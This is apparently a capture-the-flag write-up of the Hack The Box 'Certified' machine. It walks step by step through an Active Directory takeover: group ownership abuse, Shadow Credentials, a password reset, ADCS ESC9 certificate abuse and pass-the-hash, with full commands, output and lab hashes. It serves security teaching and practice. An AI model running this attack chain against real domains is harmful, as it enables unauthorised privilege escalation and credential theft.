Recon#
This box is an ‘assumed breach’ scenario, meaning that we start the box off with the following credentials:
judith.mader@certified.htb
Regardless, we do our initial Nmap scan to see what’s open:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# nmap -sCV -sS -T4 -p- 10.129.95.156
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 20:19 EDT
Nmap scan report for 10.129.95.156
Host is up (0.030s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-14 02:19:24Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after: 2105-05-23T21:05:29
|_ssl-date: 2025-08-14T02:21:04+00:00; +1h58m06s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after: 2105-05-23T21:05:29
|_ssl-date: 2025-08-14T02:21:03+00:00; +1h58m05s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after: 2105-05-23T21:05:29
|_ssl-date: 2025-08-14T02:21:04+00:00; +1h58m06s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-08-14T02:21:03+00:00; +1h58m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after: 2105-05-23T21:05:29
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49686/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49687/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49724/tcp open msrpc Microsoft Windows RPC
49734/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
|
We add the domains DC01.certified.htb and certified.htb to our hosts file (in that order):
1
2
3
4
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# sudo nano /etc/hosts
10.129.95.156 DC01.certified.htb certified.htb
|
First we check out SMB with our starter creds:
1
2
3
4
5
6
7
8
9
10
11
12
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# nxc smb certified.htb -u 'judith.mader' -p 'judith09' --shares
[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
[+] certified.htb\judith.mader:judith09
[*] Enumerated shares
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share
|
We do seem to have remote IPC access but sadly nothing else very interesting. Let’s move onto enumerating LDAP next:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# nxc ldap certified.htb -u 'judith.mader' -p 'judith09' --users
[*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
[+] certified.htb\judith.mader:judith09
[*] Enumerated 9 domain users: certified.htb
-Username- -Last PW Set- -BadPW- -Description-
Administrator 2024-05-13 10:53:16 0 Built-in account for administering the computer/domain
Guest <never> 0 Built-in account for guest access to the computer/domain
krbtgt 2024-05-13 11:02:51 0 Key Distribution Center Service Account
judith.mader 2024-05-14 15:22:11 0
management_svc 2024-05-13 11:30:51 0
ca_operator 2024-05-13 11:32:03 0
alexander.huges 2024-05-14 12:39:08 0
harry.wilson 2024-05-14 12:39:37 0
gregory.cameron 2024-05-14 12:40:05 0
|
If the name ‘Certified’ didn’t already tip you off that there’s going to be some ADCS abuse involved in this attack path, the ca_operator account name definitely will :).
Let’s grab some bloodhound data and see what we’re looking at:
1
2
3
4
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# rusthound-ce -d certified.htb -u 'judith.mader' -p 'judith09' -z
[...snip]
RustHound-CE Enumeration Completed at 20:42:23 on 08/13/25! Happy Graphing!
|
We take this zip file, ingest it into bloodhound, and then search for our judith account once it’s done loading.
It looks like Judith has one notable outbound object control:
We can see that judith.mader has WriteOwner over the Management group. We can also see that the Management group both has management_svc as a member as well as has GenericWrite over it:
In other words, we can give ourselves ownership over the Management group, give ourselves GenericAll and add ourselves to it, thereby granting GenericWrite over management_svc!
With GenericWrite there are typically two attack paths: Targeted Kerberoasting and Shadow Credentials. It’s worth noting here that while management_svc is Kerberoastable, unfortunately its password is not present in the rockyou.txt wordlist. That leaves Shadow Credentials as the only viable path to get control of management_svc.
Auth as management_svc#
First, let’s give ourselves ownership over the Management group.
1
2
3
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# bloodyAD --host DC01.certified.htb -d certified.htb -u 'judith.mader' -p 'judith09' set owner Management judith.mader
[+] Old owner S-1-5-21-729746778-2675978091-3820388244-512 is now replaced by judith.mader on Management
|
Next, we give ourselves GenericAll over Management (a privilege we have as the owner):
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# bloodyAD --host DC01.certified.htb -d certified.htb -u 'judith.mader' -p 'judith09' add genericAll Management judith.mader
[+] judith.mader has now GenericAll on Management
We then add ourselves to the group:
1
2
3
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# bloodyAD --host DC01.certified.htb -d certified.htb -u 'judith.mader' -p 'judith09' add groupMember Management judith.mader
[+] judith.mader added to Management
|
Now that we have GenericWrite over management_svc, let’s launch our Shadow Credentials attack.
The gist of what this attack entails is that, among other things, GenericWrite lets us write to the msds-KeyCredentialLink attribute on management_svc. This attribute allows for an alternate means of kerberos pre-authentication using a public key-private key pair.
Therefore, if we can write to this attribute, we can generate our own keypair + certificate and set msds-KeyCredential link to our public key, then auth with the private key and cert, allowing us to request a TGT as management_svc.
The easiest way to do this is to use the pywhisker tool:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
┌──(root㉿kali)-[/home/…/htb/certified/pywhisker/pywhisker]
└─# python3 pywhisker.py -d certified.htb --dc-host DC01.certified.htb -t management_svc -u 'judith.mader' -p 'judith09' --action 'add'
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 39c18f19-23ce-7b2b-d3f0-afb6d8899c89
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: ocHgAJgr.pfx
[+] PFX exportiert nach: ocHgAJgr.pfx
[i] Passwort für PFX: 02G5JMeR9gkSdepxOnup
[+] Saved PFX (#PKCS12) certificate & key at path: ocHgAJgr.pfx
[*] Must be used with password: 02G5JMeR9gkSdepxOnup
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
|
As pywhisker suggests, we will use PKINITtools to get a TGT:
1
2
3
4
5
6
7
8
9
10
11
12
|
┌──(root㉿kali)-[/home/…/Documents/htb/certified/PKINITtools-master]
└─# python3 gettgtpkinit.py certified.htb/management_svc -cert-pfx ocHgAJgr.pfx -pfx-pass 02G5JMeR9gkSdepxOnup management_svc.ccache
2025-08-14 01:35:10,636 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-08-14 01:35:10,658 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-08-14 01:35:26,329 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-08-14 01:35:26,329 minikerberos INFO f5150b6fae02cc96aa6cee01cb9b4e5901c0657194bcefe6bb4cb0e510ab7b1e
INFO:minikerberos:f5150b6fae02cc96aa6cee01cb9b4e5901c0657194bcefe6bb4cb0e510ab7b1e
2025-08-14 01:35:26,331 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
|
And now we can authenticate as management_svc!
User Flag#
management_svc is a member of the Remote Management Users group, meaning we can WinRM in as them and get the userflag!
We set up our environment variables to point to our new ccache:
1
2
3
4
5
6
7
8
9
10
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# export KRB5CCNAME=management_svc.ccache
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# klist
Ticket cache: FILE:management_svc.ccache
Default principal: management_svc@CERTIFIED.HTB
Valid starting Expires Service principal
08/14/2025 01:38:08 08/14/2025 11:38:08 krbtgt/CERTIFIED.HTB@CERTIFIED.HTB
|
Next, we set up the Kerberos realm configs for certified. I always follow this excellent tutorial on doing so, so I’m going to skip all that setup here.
Finally, with everything set up properly, all that’s left is to Evil-WinRM in!
1
2
3
4
5
6
7
8
9
10
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# evil-winrm -i DC01.certified.htb -r certified.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
|
1
2
|
*Evil-WinRM* PS C:\Users\management_svc\Documents> cat ../Desktop/user.txt
f82a4a8439b7d78da5d9b786a2a3d9ba
|
User flag obtained!
Auth as ca_operator#
Going back to BloodHound, we can see that management_svc has GenericAll over ca_operator!
So taking over ca_operator is just as easy as setting its password in BloodyAD:
1
2
3
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# bloodyAD --host DC01.certified.htb -d certified.htb -k set password ca_operator Password123!
[+] Password changed successfully!
|
Like all HTB boxes, Certified runs a cleanup script periodically, which will reset ca_operator’s password back to what it was before. If this happens, we can just run this command again as many times as necessary
Auth as Administrator#
With a username like ca_operator, the next logical step is to run certipy and see if there’s any vulnerable certs we can enroll in:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# certipy-ad find -dc-ip 10.129.95.156 -target DC01.certified.htb -u ca_operator -p 'Password123!' -text
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'certified-DC01-CA'
[*] Checking web enrollment for CA 'certified-DC01-CA' @ 'DC01.certified.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250814021053_Certipy.txt'
[*] Wrote text output to '20250814021053_Certipy.txt'
|
And looking at the output, it looks like the CertifiedAuthentication certificate template is vulnerable to ESC9!
1
2
3
4
5
6
7
8
9
10
|
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
[...snip]
[+] User Enrollable Principals : CERTIFIED.HTB\operator ca
[!] Vulnerabilities
ESC9 : Template has no security extension.
[*] Remarks
ESC9 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
|
The certipy wiki has a more detailed explanation on the mechanics behind ESC9, but for the sake of this writeup all you need to know is that ESC9 occurs when a template is configured to not add the security extension adding the user’s SID. This forces Kerberos to use ‘weaker’ identity mapping methods, which we can manipulate in order to authenticate as our victim account. Of the ESC9 variants, we’re going to go with the UPN manipulation variant since management_svc has GenericAll over ca_operator.
First, we set ca_operator’s UPN to match administrator’s SAM account name:
1
2
3
4
5
6
7
8
9
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# bloodyAD --host DC01.certified.htb -d certified.htb -k get object ca_operator --attr userPrincipalName
distinguishedName: CN=operator ca,CN=Users,DC=certified,DC=htb
userPrincipalName: ca_operator@certified.htb
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# bloodyAD --host DC01.certified.htb -d certified.htb -k set object ca_operator userPrincipalName -v administrator
[+] ca_operator's userPrincipalName has been updated
|
Then, we request the vulnerable cert as ca_operator:
1
2
3
4
5
6
7
8
9
10
11
12
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# certipy-ad req -dc-ip 10.129.95.156 -target DC01.certified.htb -ca certified-DC01-CA -u ca_operator -p 'Password123!' -template 'CertifiedAuthentication'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
|
Before we try to auth with our certificate, let’s reset ca_operator’s UPN to avoid any unintended identity mapping collisions.
1
2
3
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# bloodyAD --host DC01.certified.htb -d certified.htb -k set object ca_operator userPrincipalName -v ca_operator@certified.htb
[+] ca_operator's userPrincipalName has been updated
|
Now, let’s auth with our newly acquired certificate…
1
2
3
4
5
6
7
8
9
10
11
12
13
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# certipy-ad auth -dc-ip 10.129.95.156 -domain certified.htb -username 'administrator' -pfx 'administrator.pfx'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@certified.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
|
And now we have the admin’s NT hash & TGT!
Administrator@certified.htb - NT Hash
0d5b49608bbce1751f708748f67e2d34
Root Flag#
All that’s left to do is WinRM in with that information:
1
2
3
4
5
6
7
8
9
10
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# evil-winrm -i certified.htb -u 'Administrator' -H '0d5b49608bbce1751f708748f67e2d34'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
|
1
2
|
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
f6e1085d1b4239e72c868140bc175a0f
|
Root flag obtained!
Thank you for reading!#